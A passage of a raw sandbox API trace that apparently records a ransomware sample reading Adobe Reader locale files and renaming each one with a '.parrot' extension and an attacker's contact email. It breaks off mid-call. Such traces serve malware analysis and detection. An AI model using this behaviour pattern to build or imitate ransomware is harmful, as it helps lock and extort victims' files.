(lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Checkers.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\checkers.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Checkers.JPN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\checkers.jpn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323000 | out: hHeap=0x5b0000) returned 1 [0259.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae588 | out: hHeap=0x5b0000) returned 1 [0259.187] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.187] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.188] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.189] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x14e00, lpOverlapped=0x0) returned 1 [0259.191] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.194] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\DigSig.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\digsig.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\DigSig.JPN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\digsig.jpn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333a708 | out: hHeap=0x5b0000) returned 1 [0259.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae588 | out: hHeap=0x5b0000) returned 1 [0259.203] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.203] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.205] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.205] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3600, lpOverlapped=0x0) returned 1 [0259.206] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.206] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\DVA.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\dva.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\DVA.JPN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\dva.jpn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333a708 | out: hHeap=0x5b0000) returned 1 [0259.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0259.212] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.212] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.215] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.216] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1800, lpOverlapped=0x0) returned 1 [0259.216] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.217] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\eBook.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\ebook.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\eBook.JPN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\ebook.jpn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333a708 | out: hHeap=0x5b0000) returned 1 [0259.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0259.223] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.223] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.224] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.224] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x8000, lpOverlapped=0x0) returned 1 [0259.226] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.227] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\EScript.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\escript.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\EScript.JPN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\escript.jpn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323000 | out: hHeap=0x5b0000) returned 1 [0259.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0259.233] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.233] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.236] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.237] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xc00, lpOverlapped=0x0) returned 1 [0259.237] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.237] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\IA32.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\ia32.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\IA32.JPN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\ia32.jpn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333a708 | out: hHeap=0x5b0000) returned 1 [0259.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0259.243] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.243] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.244] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.245] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xb600, lpOverlapped=0x0) returned 1 [0259.246] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.246] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\makeaccessible.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\makeaccessible.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\makeaccessible.JPN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\makeaccessible.jpn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323000 | out: hHeap=0x5b0000) returned 1 [0259.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0259.252] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.252] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.254] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.254] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xf200, lpOverlapped=0x0) returned 1 [0259.256] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.256] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Multimedia.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\multimedia.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Multimedia.JPN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\multimedia.jpn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323000 | out: hHeap=0x5b0000) returned 1 [0259.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0259.262] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.262] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.298] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.299] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2200, lpOverlapped=0x0) returned 1 [0259.302] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.303] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\pddom.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\pddom.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\pddom.JPN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\pddom.jpn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333a708 | out: hHeap=0x5b0000) returned 1 [0259.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0259.309] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.309] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.311] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.311] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5a000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x5a000, lpOverlapped=0x0) returned 1 [0259.319] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.329] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\PPKLite.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\ppklite.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\PPKLite.JPN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\ppklite.jpn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.344] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323000 | out: hHeap=0x5b0000) returned 1 [0259.344] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.344] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0259.356] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.357] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.358] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.358] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf8e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xf8e00, lpOverlapped=0x0) returned 1 [0259.382] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.411] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\RdLang32.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\rdlang32.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\RdLang32.JPN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\rdlang32.jpn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.416] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323000 | out: hHeap=0x5b0000) returned 1 [0259.416] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.417] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0259.423] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.423] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.425] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.425] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2400, lpOverlapped=0x0) returned 1 [0259.426] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.427] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\ReadOutLoud.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\readoutloud.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\ReadOutLoud.JPN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\readoutloud.jpn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323000 | out: hHeap=0x5b0000) returned 1 [0259.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0259.433] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.433] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.434] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.434] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1000, lpOverlapped=0x0) returned 1 [0259.435] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.435] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\reflow.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\reflow.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\reflow.JPN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\reflow.jpn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333a708 | out: hHeap=0x5b0000) returned 1 [0259.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0259.442] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.442] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.444] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.444] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3800, lpOverlapped=0x0) returned 1 [0259.445] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.445] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\SaveAsRTF.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\saveasrtf.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\SaveAsRTF.JPN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\saveasrtf.jpn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323000 | out: hHeap=0x5b0000) returned 1 [0259.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0259.452] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.452] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.453] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.454] ReadFile (in: hFile=0x288, 